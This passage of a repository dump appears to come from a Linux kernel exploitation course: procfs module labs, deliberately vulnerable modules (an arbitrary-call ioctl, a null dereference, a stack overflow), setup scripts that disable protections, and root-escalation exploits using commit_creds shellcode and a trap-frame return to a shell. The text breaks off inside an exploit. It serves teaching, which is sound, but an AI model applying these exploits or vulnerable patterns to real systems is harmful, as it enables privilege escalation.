| 29 | #### References 30 | 31 | 32 | -------------------------------------------------------------------------------- /Lab3/assignment.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Perform a single key xor on the string with the given key and print 3 | * the resulting hex encoded string by implementing read 4 | * for the procfs file. 5 | * 6 | */ 7 | #include /* Needed by all modules */ 8 | #include /* Needed for KERN_ALERT */ 9 | #include /* Needed for the macros */ 10 | 11 | /* Include other required Header Files*/ 12 | 13 | static struct file_operations fops_struct = { 14 | 15 | /* Your Code here */ 16 | 17 | }; 18 | 19 | static ssize_t procfile_write(struct file *file,const char *buffer, size_t count, loff_t *offset) 20 | { 21 | /* Your Code here */ 22 | } 23 | 24 | static ssize_t procfile_read(struct file *file, char *buffer, size_t buffer_length, loff_t *offset) 25 | { 26 | /* Your Code here */ 27 | } 28 | 29 | static int __init assignment_init(void) 30 | { 31 | /* Your Code here */ 32 | return 0; 33 | } 34 | 35 | static void __exit assignment_exit(void) 36 | { 37 | /* Your Code here */ 38 | } 39 | 40 | module_init(assignment_init); 41 | module_exit(assignment_exit); 42 | -------------------------------------------------------------------------------- /Lab3/procfs1.c: -------------------------------------------------------------------------------- 1 | /* Hello Proc */ 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define DRIVER_AUTHOR "teambi0s " 8 | #define DRIVER_DESC "Creates a file in /proc" 9 | 10 | #define proc_fs_name "helloworld" 11 | 12 | 13 | struct proc_dir_entry *Our_Proc_File; 14 | 15 | static ssize_t hello_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) 16 | { 17 | static int flag = 0; 18 | if(flag) { 19 | printk(KERN_INFO "hello_read : END\n"); 20 | flag = 0; 21 | return 0; 22 | } 23 | printk(KERN_INFO "hello_read (/proc/%s) : called\n",proc_fs_name); 24 | flag = 1; 25 | return sprintf(buf, "HelloWorld!\n"); 26 | } 27 | 28 | static struct file_operations proc_hello_operations = { 29 | .read = hello_read, 30 | }; 31 | 32 | int 33 | init_module() { 34 | Our_Proc_File = proc_create(proc_fs_name, 0644, NULL, &proc_hello_operations); 35 | return 0; 36 | } 37 | 38 | void cleanup_module() { 39 | proc_remove(Our_Proc_File); 40 | } 41 | 42 | MODULE_LICENSE("GPL"); 43 | MODULE_AUTHOR(DRIVER_AUTHOR); 44 | MODULE_DESCRIPTION(DRIVER_DESC); 45 | -------------------------------------------------------------------------------- /Lab3/procfs2.c: -------------------------------------------------------------------------------- 1 | /** 2 | * procfs2.c - create a "file" in /proc 3 | * 4 | */ 5 | #include /* Specifically, a module */ 6 | #include /* We're doing kernel work */ 7 | #include /* Necessary because we use the proc fs */ 8 | #include /* for copy_from_user */ 9 | #define PROCFS_MAX_SIZE 1024 10 | #define PROCFS_NAME "buffer1k" 11 | 12 | MODULE_LICENSE("GPL"); 13 | 14 | /** 15 | * 16 | * This structure hold information about the /proc file 17 | * 18 | */ 19 | static struct proc_dir_entry *Our_Proc_File; 20 | /** 21 | * The buffer used to store character for this module 22 | * 23 | */ 24 | static char procfs_buffer[PROCFS_MAX_SIZE]; 25 | /** 26 | * The size of the buffer 27 | * 28 | */ 29 | static unsigned long procfs_buffer_size = 0; 30 | /** 31 | * This function is called then the /proc file is read 32 | * 33 | */ 34 | static 35 | ssize_t 36 | procfile_read(struct file *file, 37 | char *buffer, 38 | size_t buffer_length, loff_t *offset) 39 | { 40 | static int flag = 0; 41 | if(flag) { 42 | printk(KERN_INFO "read : END\n"); 43 | flag = 0; 44 | return 0; 45 | } 46 | printk(KERN_INFO "read (/proc/%s) : called\n",PROCFS_NAME); 47 | flag = 1; 48 | return sprintf(buffer, procfs_buffer); 49 | } 50 | /** 51 | * This function is called with the /proc file is written 52 | * 53 | */ 54 | static 55 | ssize_t procfile_write(struct file *file,const char *buffer, size_t count, loff_t *offset) 56 | { 57 | /* get buffer size */ 58 | procfs_buffer_size = count; 59 | if (procfs_buffer_size > PROCFS_MAX_SIZE ) { 60 | procfs_buffer_size = PROCFS_MAX_SIZE; 61 | } 62 | /* write data to the buffer */ 63 | if ( copy_from_user(procfs_buffer, buffer, procfs_buffer_size) ) { 64 | return -EFAULT; 65 | } 66 | return procfs_buffer_size; 67 | } 68 | 69 | static struct file_operations fops_struct = { 70 | .read = procfile_read, 71 | .write = procfile_write, 72 | }; 73 | 74 | /** 75 | *This function is called when the module is loaded 76 | * 77 | */ 78 | int init_module() 79 | { 80 | /* create the /proc file */ 81 | Our_Proc_File = proc_create(PROCFS_NAME, 0644, NULL, &fops_struct); 82 | if (Our_Proc_File == NULL) { 83 | remove_proc_entry(PROCFS_NAME, NULL); 84 | printk(KERN_ALERT "Error: Could not initialize /proc/%s\n", 85 | PROCFS_NAME); 86 | return -ENOMEM; 87 | } 88 | // Our_Proc_File->owner = THIS_MODULE; 89 | // Our_Proc_File->mode = S_IFREG | S_IRUGO; 90 | // Our_Proc_File->uid = 0; 91 | // Our_Proc_File->gid = 0; 92 | // Our_Proc_File->size = 37; 93 | printk(KERN_INFO "/proc/%s created\n", PROCFS_NAME); 94 | return 0; /* everything is ok */ 95 | } 96 | /** 97 | *This function is called when the module is unloaded 98 | * 99 | */ 100 | void cleanup_module() 101 | { 102 | remove_proc_entry(PROCFS_NAME, NULL); 103 | printk(KERN_INFO "/proc/%s removed\n", PROCFS_NAME); 104 | } 105 | -------------------------------------------------------------------------------- /Lab3/procfs3.c: -------------------------------------------------------------------------------- 1 | /** 2 | * procfs3.c - create a "file" in /proc 3 | * This program uses the seq_file library to manage the /proc file. 4 | * 5 | */ 6 | 7 | #include /* We're doing kernel work */ 8 | #include /* Specifically, a module */ 9 | #include /* Necessary because we use proc fs */ 10 | #include /* for seq_file */ 11 | 12 | #define PROC_NAME "iter" 13 | 14 | #define DRIVER_AUTHOR "teambi0s " 15 | #define DRIVER_DESC "Creates a file in /proc" 16 | 17 | /** 18 | * This function is called at the beginning of a sequence. 19 | * ie, when: 20 | * - the /proc file is read (first time) 21 | * - after the function stop (end of sequence) 22 | * 23 | */ 24 | static void *my_seq_start(struct seq_file *s, loff_t *pos) 25 | { 26 | static unsigned long counter = 0; 27 | 28 | /* beginning a new sequence ? */ 29 | if ( *pos == 0 ) 30 | { 31 | /* yes => return a non null value to begin the sequence */ 32 | return &counter; 33 | } 34 | else 35 | { 36 | /* no => it's the end of the sequence, return end to stop reading */ 37 | *pos = 0; 38 | return NULL; 39 | } 40 | } 41 | 42 | /** 43 | * This function is called after the beginning of a sequence. 44 | * It's called untill the return is NULL (this ends the sequence). 45 | * 46 | */ 47 | static void *my_seq_next(struct seq_file *s, void *v, loff_t *pos) 48 | { 49 | unsigned long *tmp_v = (unsigned long *)v; 50 | (*tmp_v)++; 51 | (*pos)++; 52 | return NULL; 53 | } 54 | 55 | /** 56 | * This function is called at the end of a sequence 57 | * 58 | */ 59 | static void my_seq_stop(struct seq_file *s, void *v) 60 | { 61 | /* nothing to do, we use a static value in start() */ 62 | } 63 | 64 | /** 65 | * This function is called for each "step" of a sequence 66 | * 67 | */ 68 | static int my_seq_show(struct seq_file *s, void *v) 69 | { 70 | loff_t *spos = (loff_t *) v; 71 | 72 | seq_printf(s, "%Ld\n", *spos); 73 | return 0; 74 | } 75 | 76 | /** 77 | * This structure gather "function" to manage the sequence 78 | * 79 | */ 80 | static struct seq_operations my_seq_ops = { 81 | .start = my_seq_start, 82 | .next = my_seq_next, 83 | .stop = my_seq_stop, 84 | .show = my_seq_show 85 | }; 86 | 87 | /** 88 | * This function is called when the /proc file is open. 89 | * 90 | */ 91 | static int my_open(struct inode *inode, struct file *file) 92 | { 93 | return seq_open(file, &my_seq_ops); 94 | }; 95 | 96 | /** 97 | * This structure gather "function" that manage the /proc file 98 | * 99 | */ 100 | static struct file_operations my_file_ops = { 101 | .owner = THIS_MODULE, 102 | .open = my_open, 103 | .read = seq_read, 104 | .llseek = seq_lseek, 105 | .release = seq_release 106 | }; 107 | 108 | 109 | /** 110 | * This function is called when the module is loaded 111 | * 112 | */ 113 | int init_module(void) 114 | { 115 | struct proc_dir_entry *entry; 116 | entry = proc_create(PROC_NAME, 0666, NULL,&my_file_ops); 117 | return 0; 118 | } 119 | 120 | /** 121 | * This function is called when the module is unloaded. 122 | * 123 | */ 124 | void cleanup_module(void) 125 | { 126 | remove_proc_entry(PROC_NAME, NULL); 127 | } 128 | 129 | 130 | MODULE_LICENSE("GPL"); 131 | MODULE_AUTHOR(DRIVER_AUTHOR); 132 | MODULE_DESCRIPTION(DRIVER_DESC); 133 | -------------------------------------------------------------------------------- /Lab4/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += kkid.o 3 | # Assignment module here 4 | else 5 | KERNEL_SOURCE := ../kernel_source/linux-4.18.16/ 6 | local: KERNEL_SOURCE := /lib/modules/$(shell uname -r)/build 7 | PWD := $(shell pwd) 8 | default: 9 | # Compile for the same architecture as the host machine 10 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 11 | arm: 12 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 13 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 14 | local: 15 | # Compile for the same architecture as the host machine 16 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 17 | clean: 18 | # Cleans the Directory - removes all the files that were created 19 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 20 | endif 21 | -------------------------------------------------------------------------------- /Lab4/README.md: -------------------------------------------------------------------------------- 1 | # Lab 4 2 | -------------------------------------------------------------------------------- /Lab4/kkid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include "kkid.h" 9 | 10 | MODULE_LICENSE("GPL"); 11 | 12 | MODULE_AUTHOR("teambi0s "); 13 | MODULE_DESCRIPTION("kkid module"); 14 | 15 | #define SUCCESS 0 16 | 17 | static ssize_t 18 | device_read(struct file *file, 19 | char __user *buffer, 20 | size_t length, 21 | loff_t * offset) 22 | { 23 | int size = length > 8 ? 8 : length; 24 | if(copy_to_user(buffer , "Welcome\n" , size)) 25 | { 26 | return -EFAULT; 27 | } 28 | 29 | return size; 30 | } 31 | 32 | static int 33 | device_open(struct inode *inode, 34 | struct file *file) 35 | { 36 | printk("Device opened\n"); 37 | return SUCCESS; 38 | } 39 | 40 | static int 41 | device_close(struct inode *inode, 42 | struct file * file) 43 | { 44 | printk("Device Closed\n"); 45 | return SUCCESS; 46 | } 47 | 48 | static long 49 | call_func(struct call_arg * call_arg_ptr) 50 | { 51 | unsigned long (* call )(unsigned long); 52 | long ret; 53 | struct call_arg call_args; 54 | if(copy_from_user(&call_args,call_arg_ptr, 55 | sizeof(struct call_arg))) 56 | { 57 | return -EFAULT; 58 | } 59 | printk("Calling function @ 0x%016lx \nWith argument 0x%016lx\n" 60 | ,call_args.fn_addr 61 | ,call_args.args); 62 | call =(void *) call_args.fn_addr; 63 | ret = call(call_args.args); 64 | return ret; 65 | } 66 | 67 | static long 68 | device_ioctl(struct file *file, 69 | unsigned int ioctl_num, 70 | unsigned long ioctl_parm) 71 | { 72 | switch(ioctl_num){ 73 | case IOCTL_CALL: 74 | ((struct call_arg * )ioctl_parm)->ret = call_func((struct call_arg * ) ioctl_parm); 75 | printk("Return value 0x%016lx\n",((struct call_arg *)ioctl_parm)->ret); 76 | return SUCCESS; 77 | break; 78 | default : 79 | break; 80 | } 81 | return SUCCESS; 82 | } 83 | 84 | static struct file_operations fops = { 85 | .read = device_read, 86 | .open = device_open, 87 | .release = device_close, 88 | .unlocked_ioctl = device_ioctl, 89 | }; 90 | 91 | int 92 | init_module(void) { 93 | int Major; 94 | Major = register_chrdev(MAJOR_NUMBER,DEVICE_NAME,&fops); 95 | if (Major < 0) { 96 | printk("Registering the character device failed with %d\n", 97 | Major); 98 | return Major; 99 | } 100 | return SUCCESS; 101 | } 102 | 103 | void 104 | cleanup_module(void) { 105 | unregister_chrdev(MAJOR_NUMBER,DEVICE_NAME); 106 | } 107 | 108 | -------------------------------------------------------------------------------- /Lab4/kkid.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | #define MAJOR_NUMBER 300 5 | #define DEVICE_NAME "kkid" 6 | 7 | struct call_arg 8 | { 9 | unsigned long fn_addr; 10 | unsigned long args; 11 | unsigned long ret; 12 | }; 13 | 14 | #define IOCTL_CALL _IOWR(MAJOR_NUMBER,0,char *) 15 | 16 | 17 | -------------------------------------------------------------------------------- /Lab4/user.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | 13 | #include "kkid.h" 14 | 15 | static void execute_kernel_function(); 16 | static void check_root(); 17 | static void initialize(); 18 | 19 | static int fp; 20 | 21 | int main(int argc, const char *argv[]) 22 | { 23 | initialize(); 24 | int ch; 25 | while(1) { 26 | printf("Welcome\n1. Execute kernel function\n2. Check whether you are root\n3. Exit\n: "); 27 | scanf("%d", &ch); 28 | switch(ch) { 29 | case 1 : 30 | execute_kernel_function(); 31 | break; 32 | case 2 : 33 | check_root(); 34 | break; 35 | case 3: 36 | exit(0); 37 | close(fp); 38 | break; 39 | default : 40 | printf("Enter correct argument\n"); 41 | break; 42 | } 43 | } 44 | return 0; 45 | } 46 | 47 | static void execute_kernel_function() { 48 | struct call_arg call_args; 49 | 50 | printf("Enter the kernel address of the function you which to execute : "); 51 | scanf("%lu",&call_args.fn_addr); 52 | printf("Arguments : "); 53 | scanf("%lu",&call_args.args); 54 | printf("Executing Kernal Function !\n"); 55 | 56 | ioctl(fp,IOCTL_CALL,&call_args); 57 | printf("Return value 0x%016lx\n",call_args.ret); 58 | } 59 | static void check_root() { 60 | printf("Uid : %d ",getuid()); 61 | } 62 | 63 | static void initialize() { 64 | 65 | setvbuf(stdout, NULL, _IONBF, 0); 66 | setvbuf(stdin, NULL, _IONBF, 0); 67 | setvbuf(stderr, NULL, _IONBF, 0); 68 | 69 | fp = open("/dev/kkid", O_RDONLY); 70 | if(fp == -1) 71 | { 72 | printf("Error while Opening File "); 73 | exit(0); 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /Lab5/README.md: -------------------------------------------------------------------------------- 1 | # Lab 5 2 | This lab will be your first major step in learning to root a kernel. 3 | 4 | ### Topics covered 5 | 1. Security mitigations on the kernel. 6 | 2. Null dereference bug 7 | 3. Debugging the kernel with gdb stub 8 | 4. Redirecting code execution (PoC) 9 | 5. Writing a shellcode to get root privileges 10 | 11 | ### 1. Mitigations 12 | 13 | #### mmap\_min\_addr 14 | Prevent the user from mapping address below a fixed value, thus exploiting null ptr dereferences becomes a hazzle. This value is set in /proc/sys/vm/mmap\_min\_addr. 15 | 16 | #### KALLSYMS 17 | /proc/kallsyms contains the address of all the modules loaded into the kernel. 18 | User is denied permission to read from this file, so finding the addresses of 19 | prepare\_kernel\_cred() and commit_creds() is difficult. The permission is set 20 | in /proc/sys/kernel/kptr_restrict. A value of "0" gives access to all users, "1" 21 | for root only access, and "2" for no access at all. (log files like /var/log/messages and dmesg can leak some module addresses ) 22 | 23 | #### SMEP and SMAP 24 | SMEP (Supervisor Mode Execution Protection) prevents execution of code in user memory from the kernel space. If the "user" bit of an address is set and the kernel tries to execute it, a page fault is triggered. 25 | 26 | SMAP (Supervisor Mode Access Protection) prevents the access of user memory from 27 | the kernel space is a similar way. 28 | 29 | #### KASLR (Kernel Address Space Layout Randomization) 30 | Just like ASLR, KASLR randomizes memory sections in the are randomizes in the kernel. The base address of the kernel is relocated at boot time. Moreover, the offsets at which modules are loaded every boot is also randomized. 31 | Kernel stack address are randomized between processes and syscalls. 32 | Heap memory base is also randomized each time the kernel boots. 33 | 34 | #### Stack Canaries 35 | To prevent buffer overflows from enabling attackers to mercilessly overwrite the 36 | return address, a random value is placed on the stack before the return address 37 | and this value is verified before the function returns to check if the stack has 38 | been overflown. 39 | 40 | #### Stack Depth Overflow Check 41 | Prevents allocations that consume large stack memory with recursive function calls or large stack variables. Such allocations lets the attacker corrupt sensitive data present right after the preallocated stack memory. 42 | 43 | ### References 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /Lab5/cmd.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # set min_mmap_addr to 0x00 4 | echo 0 > /proc/sys/vm/mmap_min_addr 5 | 6 | # permission for all users to access /proc/kallsyms 7 | echo 0 > /proc/sys/kernel/kptr_restrict 8 | echo 1 > /proc/sys/kernel/perf_event_paranoid 9 | 10 | # create a guest user 11 | cd / 12 | mkdir home 13 | adduser -D guest 14 | # setting the passwd of guest as "guest" 15 | sed -i 's/guest:.*:17852:0:99999:7:::/guest:$1$QgQXuAOl$.Fv9ijhDyYuIF7VmrJbc30:17852:0:99999:7:::/g' /etc/shadow 16 | 17 | 18 | -------------------------------------------------------------------------------- /Lab5/exploit/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R3x/How2Kernel/bf4022053e118bade6b9e2efe6de60612092fb27/Lab5/exploit/exploit -------------------------------------------------------------------------------- /Lab5/exploit/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include //mmap() 3 | #include //open() 4 | #include //memcpy() 5 | #include //system() 6 | 7 | 8 | int main() { 9 | mmap(0x00,0x1000,PROT_READ | PROT_WRITE | PROT_EXEC , MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1 , 0); 10 | char payload[]="\x49\xC7\xC2\x10\xF8\x07\x81\x48\x31\xFF\x41\xFF\xD2\x48\x89\xC7\x49\xC7\xC1\xE0\xF4\x07\x81\x41\xFF\xD1\xC3"; //e9eabead0b 11 | /* 0: 49 c7 c2 10 f8 07 81 mov r10,0xffffffff8107f810 12 | 7: 48 31 ff xor rdi,rdi 13 | a: 41 ff d2 call r10 14 | d: 48 89 c7 mov rdi,rax 15 | 10: 49 c7 c1 e0 f4 07 81 mov r9,0xffffffff8107f4e0 16 | 17: 41 ff d1 call r9 17 | 1a: c3 ret 18 | */ 19 | //char payload[]="\xe9\xea\xbe\xad\x0b"; //e9eabead0b 20 | memcpy(0x00,payload,sizeof(payload)); 21 | int fd = open("/proc/null_vuln",O_RDONLY); 22 | 23 | system("/bin/sh"); 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /Lab5/exploit/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include //mmap() 3 | #include //open() 4 | #include //memcpy() 5 | #include //system() 6 | 7 | 8 | int main() { 9 | mmap(0x00,0x1000,PROT_READ | PROT_WRITE | PROT_EXEC , MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1 , 0); 10 | char payload[]="\xe9\xea\xbe\xad\x0b"; //e9eabead0b 11 | /* 12 | jmp 0xbadbeef 13 | */ 14 | memcpy(0x00,payload,sizeof(payload)); // copy the shellcode to 0x00 15 | 16 | // trigger the bug in module by opening the proc file 17 | int fd = open("/proc/null_vuln",O_RDONLY); 18 | 19 | system("/bin/sh"); 20 | 21 | return 0; 22 | } 23 | 24 | -------------------------------------------------------------------------------- /Lab5/modules/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += ./null_vuln.o 3 | # Assignment module here 4 | else 5 | KERNEL_SOURCE := ../../kernel_source/linux-4.18.16/ 6 | PWD := $(shell pwd) 7 | default: 8 | # Compile for the same architecture as the host machine 9 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 10 | arm: 11 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 12 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 13 | clean: 14 | # Cleans the Directory - removes all the files that were created 15 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 16 | endif 17 | -------------------------------------------------------------------------------- /Lab5/modules/null_vuln.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Vulnerable module to having a null dereference bug 3 | * 4 | */ 5 | 6 | #include /* We're doing kernel work */ 7 | #include /* Specifically, a module */ 8 | #include /* Necessary because we use proc fs */ 9 | #include /* for seq_file */ 10 | 11 | #define PROC_NAME "null_vuln" 12 | 13 | #define DRIVER_AUTHOR "teambi0s " 14 | #define DRIVER_DESC "Creates a file in /proc" 15 | 16 | 17 | void (* vuln )( void ); // function defined as void 18 | 19 | 20 | static int my_open(struct inode *inode, struct file *file) { 21 | vuln(); /* undefinded function, leading to a null derefernce bug */ 22 | }; 23 | 24 | 25 | static struct file_operations my_file_ops = { 26 | .owner = THIS_MODULE, 27 | .open = my_open, 28 | }; 29 | 30 | 31 | /** 32 | * This function is called when the module is loaded 33 | * 34 | */ 35 | int init_module(void) { 36 | printk(KERN_INFO "hello world"); 37 | //struct proc_dir_entry *entry; 38 | proc_create(PROC_NAME, 0666, NULL,&my_file_ops); /* create a proc file */ 39 | return 0; 40 | } 41 | 42 | /** 43 | * This function is called when the module is unloaded. 44 | * 45 | */ 46 | void cleanup_module(void) { 47 | remove_proc_entry(PROC_NAME, NULL); 48 | } 49 | 50 | 51 | MODULE_LICENSE("GPL"); 52 | MODULE_AUTHOR(DRIVER_AUTHOR); 53 | MODULE_DESCRIPTION(DRIVER_DESC); 54 | -------------------------------------------------------------------------------- /Lab6/README.md: -------------------------------------------------------------------------------- 1 | # Lab 6 - Stack Smashing 2 | 3 | In this Lab, we will be exploiting a buffer overflow vulnerability in a kernel module to attain root privileges. 4 | We will be doing this in the x64 kernel image provided. 5 | The following mitigations will be turned off in this lab: 6 | - SMEP / SMAP 7 | - kallsyms protection. 8 | - KASLR 9 | 10 | You can read about them in more detail from the documentation provided for the previous lab. 11 | 12 | ### Premise 13 | 14 | We are the user on the system where a vulnerable kernel module has been inserted. 15 | This kernel module (smash.c) is similar to the one we saw in Lab 3. 16 | The module does the following : 17 | - Creates a procfs file */proc/smash*, for which our user has read and write permissions. 18 | - */proc/smash* implements read and write, where the user can write to the buffer and the content written will be printed out when the file is read from. 19 | 20 | #### Setting up the Premise 21 | After compiling the module, copy the setup script, (cmd.sh) and the complied module, (smash.ko) into the system using scp. 22 | After which you can simply make the script executable and run which will setup the rest. 23 | ```sh 24 | scp -P 5022 cmd.sh modules/smash.ko root@localhost:. 25 | ``` 26 | On the system, once logged in: 27 | ```sh 28 | chmod +x cmd.sh 29 | ./cmd.sh 30 | ``` 31 | ### Vulnerability 32 | 33 | The module has a very obvious buffer overflow vulnerability in the implementation of `procfile_write`. 34 | ```C 35 | static 36 | ssize_t procfile_write(struct file *file,const char *buffer, size_t count, loff_t *offset) 37 | { 38 | char localbuf[8]; 39 | /* get buffer size */ 40 | procfs_buffer_size = count; 41 | /* write data to the buffer */ 42 | if ( copy_from_user(procfs_buffer, buffer, procfs_buffer_size) ) { 43 | return -EFAULT; 44 | } 45 | memcpy(localbuf,procfs_buffer,procfs_buffer_size); 46 | printk(KERN_INFO "copied to buffer : %s", localbuf); 47 | return procfs_buffer_size; 48 | } 49 | ``` 50 | There is no check before the `memcpy()` which copies contents from a user controlled buffer `procfs_buffer` of size 1024 bytes to `localbuf`. This results in a ridiculously big and easily exploitable buffer overflow. 51 | 52 | For this vulnerability to exist CONFIG_STACKPROTECTOR should not be set in the .config file before doing `make modules_prepare` 53 | 54 | ### PoC 55 | 56 | To check if we can exploit this vulnerability we will try to jump to an arbitrary address before we do anything meaningful. 57 | To do this, the idea is that we will overflow the buffer to overwrite the saved `rip`, from where we will jump to our payload. 58 | Since there are not a lot of local variables and the buffer is decidedly very small. By simply writing alphabets to `/proc/smash`, we can be sure of where the saved `rip` is. 59 | 60 | ```sh 61 | printf "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > /proc/smash 62 | ``` 63 | 64 | This results in a segmentation fault. Looking at the dmesg, we see the following : 65 | 66 | ```sh 67 | [ 186.108640] copied to buffer : ABCDEFGHIJKLMNOPQRSTUVWXYZ 68 | [ 186.111020] general protection fault: 0000 [#1] SMP NOPTI 69 | [ 186.113342] CPU: 0 PID: 1109 Comm: sh Tainted: G O 4.18.16 #1 70 | [ 186.113890] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.2-0-gf9626ccb91-prebuilt.qemu-project.org 04/01/2014 71 | [ 186.114882] RIP: 0010:0x504f4e4d4c4b4a49 72 | [ 186.115089] Code: Bad RIP value. 73 | [ 186.115612] RSP: 0018:ffffc900000ffe48 EFLAGS: 00000292 74 | [ 186.115887] RAX: 000000000000001a RBX: ffff880005892900 RCX: 0000000000000000 75 | [ 186.116201] RDX: ffff88000781d250 RSI: ffff8800078154f8 RDI: ffff8800078154f8 76 | [ 186.116511] RBP: fffffffffffffffb R08: 5554535251504f4e R09: 0000000000000174 77 | [ 186.116862] R10: 5251504f4e4d4c4b R11: 4d4c4b4a49484746 R12: ffffc900000fff10 78 | [ 186.117240] R13: 00007f56a1745e20 R14: 0000000000000000 R15: 0000000000000000 79 | [ 186.117724] FS: 00007f56a19626a0(0000) GS:ffff880007800000(0000) knlGS:0000000000000000 80 | [ 186.118233] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 81 | [ 186.118659] CR2: 00000000004542ce CR3: 0000000005a3c000 CR4: 00000000000006f0 82 | [ 186.119372] Call Trace: 83 | [ 186.121654] ? __vfs_write+0x21/0x150 84 | [ 186.121995] ? selinux_file_permission+0xd0/0x120 85 | [ 186.122370] ? _cond_resched+0x11/0x40 86 | [ 186.122613] ? vfs_write+0xab/0x190 87 | [ 186.122835] ? ksys_write+0x3d/0x90 88 | [ 186.123134] ? do_syscall_64+0x43/0xf0 89 | [ 186.123496] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 90 | [ 186.124010] Modules linked in: smash(O) 91 | [ 186.125733] ---[ end trace 2d33769f5c4f1df6 ]--- 92 | [ 186.126354] RIP: 0010:0x504f4e4d4c4b4a49 93 | [ 186.126681] Code: Bad RIP value. 94 | [ 186.126991] RSP: 0018:ffffc900000ffe48 EFLAGS: 00000292 95 | [ 186.127627] RAX: 000000000000001a RBX: ffff880005892900 RCX: 0000000000000000 96 | [ 186.128289] RDX: ffff88000781d250 RSI: ffff8800078154f8 RDI: ffff8800078154f8 97 | [ 186.128835] RBP: fffffffffffffffb R08: 5554535251504f4e R09: 0000000000000174 98 | [ 186.129466] R10: 5251504f4e4d4c4b R11: 4d4c4b4a49484746 R12: ffffc900000fff10 99 | [ 186.129989] R13: 00007f56a1745e20 R14: 0000000000000000 R15: 0000000000000000 100 | [ 186.130608] FS: 00007f56a19626a0(0000) GS:ffff880007800000(0000) knlGS:0000000000000000 101 | [ 186.131313] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 102 | [ 186.131728] CR2: 00000000004542ce CR3: 0000000005a3c000 CR4: 00000000000006f0 103 | 104 | ``` 105 | 106 | The lines of our interest are : 107 | 108 | ```sh 109 | [ 186.114882] RIP: 0010:0x504f4e4d4c4b4a49 110 | [ 186.115089] Code: Bad RIP value. 111 | ``` 112 | 113 | The `rip` value is the 'IJKLMNOP' part of our input. Thus we now know for sure that we can jump to an arbitrary address. 114 | We also have the exact offset to saved `rip` - 8. 115 | 116 | ### The Exploit 117 | 118 | The exploit script can be found here: [exploit.c](exploit/exploit.c) 119 | 120 | Now that we can point execution to where ever we want, we will obviously first do, `commit_creds(prepare_kernel_cred(0));` We will do this using hard-coded address for this lab. 121 | 122 | But unlike the exploit in Lab5, in the process of gaining the execution flow, we have completely destroyed the stack, this means that we can no longer rely on the kernel to successfully return execution to user mode and will have to do it ourselves. 123 | To do this successfully, we will have to restore the `trap frame` that is stored on the stack, the `iretq` instruction is used for doing this. 124 | 125 | Returning from kernel mode to user mode and executing shell can be done as illustrated in [exploit.c](exploit/exploit.c). Also note the `swapgs` instruction which is used for preserving kernel information for a specific logical processor core across context switches. 126 | -------------------------------------------------------------------------------- /Lab6/assignment/cmd.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # permission for all users to access /proc/kallsyms 4 | echo 0 > /proc/sys/kernel/kptr_restrict 5 | echo 1 > /proc/sys/kernel/perf_event_paranoid 6 | 7 | # inserting kernel module 8 | insmod /root/canary.ko 9 | 10 | # create a guest user 11 | cd / 12 | mkdir home 13 | adduser -D guest 14 | # setting the passwd of guest as "guest" 15 | sed -i 's/guest:.*:17852:0:99999:7:::/guest:$1$QgQXuAOl$.Fv9ijhDyYuIF7VmrJbc30:17852:0:99999:7:::/g' /etc/shadow 16 | su guest 17 | 18 | 19 | -------------------------------------------------------------------------------- /Lab6/assignment/exploit/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | struct trap_frame{ 10 | void *rip; 11 | uint64_t cs; 12 | uint64_t rflags; 13 | void *rsp; 14 | uint64_t ss; 15 | }; 16 | struct trap_frame tf; 17 | 18 | void launch_shell() { 19 | getuid(); 20 | system("/bin/sh"); 21 | } 22 | 23 | void prepare_tf(){ 24 | asm( "movq %%cs, %0\n" 25 | "movq %%ss, %1\n" 26 | "movq %%rsp, %3\n" 27 | "pushfq\n" 28 | "popq %2\n" 29 | : "=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp) :: "memory" 30 | ); 31 | tf.rip = &launch_shell; 32 | tf.rsp -= 1024; 33 | } 34 | 35 | #define KERNCALL __attribute__((regparm(3))) 36 | void (*commit_creds)(void *) KERNCALL = (void *)0xffffffffb9e7e9c; 37 | void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xffffffffb9e7ed20; 38 | 39 | void payload(void){ 40 | 